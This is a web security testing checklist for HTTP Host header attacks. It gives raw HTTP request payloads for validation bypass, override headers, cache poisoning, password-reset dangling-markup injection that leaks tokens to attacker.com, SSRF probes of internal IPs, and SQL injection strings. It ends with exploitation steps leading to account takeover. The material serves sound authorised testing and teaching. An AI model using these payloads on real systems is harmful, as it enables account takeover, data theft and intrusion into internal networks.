

HTTP Host Header Attacks

Testing Checklist & Methodology

Eyad Islam El-Taher

July 6, 2026

Contents

1	Pre-Testing Phase	3
1.1	Initial Setup	3
1.2	Information Gathering	3
2	Basic Host Header Tests	3
2.1	Arbitrary Host Header Testing	3
2.2	Checklist	4
3	Validation Bypass Tests	4
3.1	Port Manipulation	4
3.2	Subdomain Tricks	5
3.3	Checklist	5
4	Multiple Host Header Tests	5
4.1	Testing Methods	5
4.2	Checklist	6
5	Host Override Header Tests	6
5.1	Override Headers to Test	6
5.2	Checklist	7
6	Ambiguous Request Tests	7
6.1	Testing Techniques	7
6.2	Checklist	7
7	Cache Poisoning Tests	8

7.1	Testing Procedure	8
7.2	Checklist	8
8	Password Reset Tests	9
8.1	Testing Procedure	9
8.2	Checklist	9
9	SSRF Tests	10
9.1	Testing Procedure	10
9.2	Checklist	10
10	Connection State Tests	11
10.1	Testing Procedure	11
10.2	Checklist	11
11	Virtual Host Brute-Forcing	11
11.1	Common Subdomains Wordlist	11
11.2	Checklist	13
12	SQL Injection Tests	13
12.1	Testing Procedure	13
12.2	Checklist	13
13	Exploitation Checklist	14
13.1	Cache Poisoning Exploitation	14
13.2	Password Reset Exploitation	14
13.3	SSRF Exploitation	15
13.4	Useful Commands	15
14	Master Summary Checklist	15

1 Pre-Testing Phase

1.1 Initial Setup

Checklist Item

Configure Burp Suite to intercept traffic

Checklist Item

Ensure Burp maintains separation between Host header and target IP

Checklist Item

Identify all application endpoints

Checklist Item

Note any caching headers (Age, Cache-Control, X-Cache)

1.2 Information Gathering

Checklist Item

Identify all domains and subdomains

Checklist Item

Check for load balancers and CDN usage

Checklist Item

Review application architecture (if known)

Checklist Item

Identify password reset functionality

Checklist Item

Identify admin panels and restricted areas

2 Basic Host Header Tests

2.1 Arbitrary Host Header Testing

```
1 # Test 1: Arbitrary domain
2 GET / HTTP/1.1
3 Host: arbitrary.com
4
5 # Test 2: Different case
6 GET / HTTP/1.1
```

```

7 Host: VULNERABLE.COM
8
9 # Test 3: Localhost
10 GET / HTTP/1.1
11 Host: localhost
12
13 # Test 4: IP address
14 GET / HTTP/1.1
15 Host: 127.0.0.1
16
17 # Test 5: Invalid characters
18 GET / HTTP/1.1
19 Host: vulnerable.com<script>alert(1)</script>

```

Listing 1: Basic Test Suite

2.2 Checklist

Checklist Item

Send request with arbitrary domain

Checklist Item

Observe response status (200, 400, 403, 404)

Checklist Item

Check if domain is reflected in response

Checklist Item

Test with case variations

Checklist Item

Test with localhost and IP addresses

Checklist Item

Test with special characters

3 Validation Bypass Tests

3.1 Port Manipulation

```

1 # Numeric port
2 GET / HTTP/1.1
3 Host: vulnerable.com:9999
4
5 # Non-numeric port
6 GET / HTTP/1.1
7 Host: vulnerable.com:malicious
8

```

```

9 # Port with injection
10 GET / HTTP/1.1
11 Host: vulnerable.com:'<a href="//attacker.com/?

```

Listing 2: Port Injection Tests

3.2 Subdomain Tricks

```

1 # Whitelist bypass
2 GET / HTTP/1.1
3 Host: notvulnerable-website.com
4
5 # Compromised subdomain
6 GET / HTTP/1.1
7 Host: hacked-subdomain.vulnerable.com
8
9 # DNS suffix matching
10 GET / HTTP/1.1
11 Host: evil.vulnerable-website.com

```

Listing 3: Subdomain Tests

3.3 Checklist

Checklist Item

Test numeric port injection

Checklist Item

Test non-numeric port injection

Checklist Item

Test subdomain whitelist bypass

Checklist Item

Test DNS suffix matching

Checklist Item

Check if port is reflected in response

4 Multiple Host Header Tests

4.1 Testing Methods

```

1 # Two different hosts
2 GET / HTTP/1.1
3 Host: vulnerable.com
4 Host: attacker.com
5
6 # Case manipulation

```

```

7 GET / HTTP/1.1
8 Host: vulnerable.com
9 HoSt: attacker.com
10
11 # Duplicate headers
12 GET / HTTP/1.1
13 Host: vulnerable.com
14 Host: vulnerable.com
15
16 # Three or more
17 GET / HTTP/1.1
18 Host: first.com
19 Host: second.com
20 Host: third.com

```

Listing 4: Multiple Header Tests

4.2 Checklist

Checklist Item

Test with two different Host headers

Checklist Item

Test with case-manipulated headers

Checklist Item

Test with duplicate headers

Checklist Item

Observe which header takes precedence

Checklist Item

Check for differences in validation vs routing

5 Host Override Header Tests

5.1 Override Headers to Test

Header	Example	Status
X-Forwarded-Host	X-Forwarded-Host: attacker.com	Test
X-Host	X-Host: attacker.com	Test
X-Forwarded-Server	X-Forwarded-Server: at- tacker.com	Test
X-HTTP-Host-Override	X-HTTP-Host-Override: at- tacker.com	Test
Forwarded	Forwarded: host=attacker.com	Test

5.2 Checklist

Checklist Item

Test X-Forwarded-Host

Checklist Item

Test X-Host

Checklist Item

Test X-Forwarded-Server

Checklist Item

Test X-HTTP-Host-Override

Checklist Item

Test Forwarded header

Checklist Item

Check if any header overrides Host

6 Ambiguous Request Tests

6.1 Testing Techniques

```
1 # Absolute URL method
2 GET https://vulnerable.com/ HTTP/1.1
3 Host: attacker.com
4
5 # Line wrapping (indented header)
6 GET / HTTP/1.1
7     Host: attacker.com
8 Host: vulnerable.com
9
10 # Protocol variations
11 GET http://vulnerable.com/ HTTP/1.1
12 Host: attacker.com
13
14 # Malformed request line
15 GET @private-intranet/example HTTP/1.1
```

Listing 5: Ambiguous Request Tests

6.2 Checklist

Checklist Item

Test absolute URL method

Checklist Item

Test line wrapping with indented headers

Checklist Item

Test different protocols (http:// vs https://)

Checklist Item

Test malformed request line (@ symbol)

Checklist Item

Observe differences between front-end and back-end processing

7 Cache Poisoning Tests

7.1 Testing Procedure

```
1 # Step 1: Establish baseline
2 GET /?cb=123 HTTP/1.1
3 Host: vulnerable.com
4
5 # Step 2: Attempt poisoning
6 GET /?cb=123 HTTP/1.1
7 Host: vulnerable.com
8 Host: attacker.com
9
10 # Step 3: Verify poisoning
11 GET /?cb=123 HTTP/1.1
12 Host: vulnerable.com
13
14 # Step 4: Check cache headers
15 # Look for: X-Cache, Age, Cache-Control
```

Listing 6: Cache Poisoning Test Sequence

7.2 Checklist

Checklist Item

Identify cacheable endpoints

Checklist Item

Note cache headers (Age, Cache-Control)

Checklist Item

Use unique cache buster for each test

Checklist Item

Check if Host header reflected in cached response

Checklist Item

Verify cache hit with same buster

Checklist Item

Test with ambiguous requests for cache poisoning

8 Password Reset Tests

8.1 Testing Procedure

```
1 # Step 1: Submit password reset
2 POST /forgot-password HTTP/1.1
3 Host: vulnerable.com
4 username=test@email.com
5
6 # Step 2: Attempt poisoning
7 POST /forgot-password HTTP/1.1
8 Host: vulnerable.com:'<a href="//attacker.com/?
9 username=test@email.com
10
11 # Step 3: Check email content
12 # Look for: Links using injected host
13 # Raw HTML vs rendered view
```

Listing 7: Password Reset Test Sequence

8.2 Checklist

Checklist Item

Identify password reset functionality

Checklist Item

Check email generation and sending

Checklist Item

Analyze email content (raw HTML)

Checklist Item

Test Host header injection in reset link

Checklist Item

Test dangling markup injection

Checklist Item

Check if sanitization (DOMPurify) can be bypassed

Checklist Item

Verify token exfiltration via logs

9 SSRF Tests

9.1 Testing Procedure

```
1 # Step 1: Collaborator detection
2 GET https://vulnerable.com/ HTTP/1.1
3 Host: BURP-COLLABORATOR.net
4
5 # Step 2: Internal IP scanning
6 GET https://vulnerable.com/ HTTP/1.1
7 Host: 192.168.0.1
8 Host: 10.0.0.1
9 Host: 172.16.0.1
10
11 # Step 3: Access internal services
12 GET https://vulnerable.com/ HTTP/1.1
13 Host: 192.168.0.1:6379 # Redis
14 Host: 192.168.0.1:5432 # PostgreSQL
15 Host: 192.168.0.1:3306 # MySQL
```

Listing 8: SSRF Test Sequence

9.2 Checklist

Checklist Item

Test with Burp Collaborator

Checklist Item

Scan internal IP ranges (192.168.x.x, 10.x.x.x)

Checklist Item

Test for admin panels on internal IPs

Checklist Item

Test internal service ports

Checklist Item

Test cloud metadata endpoints (169.254.169.254)

Checklist Item

Check for SSRF via absolute URL

Checklist Item

Check for SSRF via malformed request line

10 Connection State Tests

10.1 Testing Procedure

```
1 # Tab 1: Validation request
2 GET / HTTP/1.1
3 Host: vulnerable.com
4 Connection: keep-alive
5
6 # Tab 2: Exploitation request (same connection)
7 GET /admin HTTP/1.1
8 Host: 192.168.0.1
9 Connection: keep-alive
```

Listing 9: Connection State Test Sequence

10.2 Checklist

Checklist Item

Set Connection: keep-alive

Checklist Item

Send valid request first (establishes connection)

Checklist Item

Send malicious request on same connection

Checklist Item

Check if validation is bypassed

Checklist Item

Use "Send group in sequence" in Burp

11 Virtual Host Brute-Forcing

11.1 Common Subdomains Wordlist

```
1 admin
2 administrator
3 management
```

```
4 control
5 intranet
6 internal
7 corporate
8 staff
9 employee
10 dev
11 development
12 staging
13 test
14 qa
15 uat
16 dashboard
17 portal
18 panel
19 console
20 backend
21 api
22 api-gateway
23 services
24 microservices
25 cdn
26 assets
27 static
28 media
29 files
30 mail
31 email
32 smtp
33 webmail
34 exchange
35 jenkins
36 gitlab
37 github
38 bitbucket
39 jira
40 monitoring
41 grafana
42 prometheus
43 kibana
44 database
45 db
46 mysql
47 postgres
48 redis
49 vpn
50 vpn-gateway
51 remote
52 remote-access
53 cloud
54 cloud-admin
55 aws
56 azure
57 gcp
```

Listing 10: Wordlist for Brute-Forcing

11.2 Checklist

Checklist Item

Use Burp Intruder for brute-forcing

Checklist Item

Test common subdomains

Checklist Item

Compare response status codes

Checklist Item

Check for different applications served

Checklist Item

Look for internal/private networks

12 SQL Injection Tests

12.1 Testing Procedure

```
1 # Basic injection
2 Host: vulnerable.com' OR '1'='1
3
4 # Blind injection
5 Host: vulnerable.com' AND SLEEP(5)--
6
7 # Error-based
8 Host: vulnerable.com' AND 1=CONVERT(int, @@version)--
9
10 # Union-based
11 Host: vulnerable.com' UNION SELECT username,password FROM users--
```

Listing 11: SQL Injection Tests

12.2 Checklist

Checklist Item

Test basic SQL injection

Checklist Item

Test blind SQL injection

Checklist Item

Observe error messages

Checklist Item

Test time-based injection

Checklist Item

Check for database errors in response

13 Exploitation Checklist

13.1 Cache Poisoning Exploitation

Checklist Item

Identify reflected Host header

Checklist Item

Use cache buster to isolate

Checklist Item

Poison with malicious content

Checklist Item

Verify poisoning with same buster

Checklist Item

Remove buster for mass poisoning

13.2 Password Reset Exploitation

Checklist Item

Identify password reset functionality

Checklist Item

Inject malicious Host header

Checklist Item

Check raw email content

Checklist Item

Steal reset token/password

Checklist Item

Perform account takeover

13.3 SSRF Exploitation

Checklist Item

Confirm SSRF via Collaborator

Checklist Item

Scan internal IP ranges

Checklist Item

Access internal services

Checklist Item

Access admin panels

Checklist Item

Perform admin actions

14 Master Summary Checklist

Phase	Action	Status
1	Configure Burp Suite	
2	Identify application endpoints	
3	Test arbitrary Host header	
4	Test validation bypasses	
5	Test multiple headers	
6	Test override headers	
7	Test ambiguous requests	
8	Test cache poisoning	
9	Test password reset	
10	Test SSRF	
11	Test connection state	
12	Brute-force virtual hosts	
13	Test SQL injection	
14	Document findings	
15	Report vulnerabilities	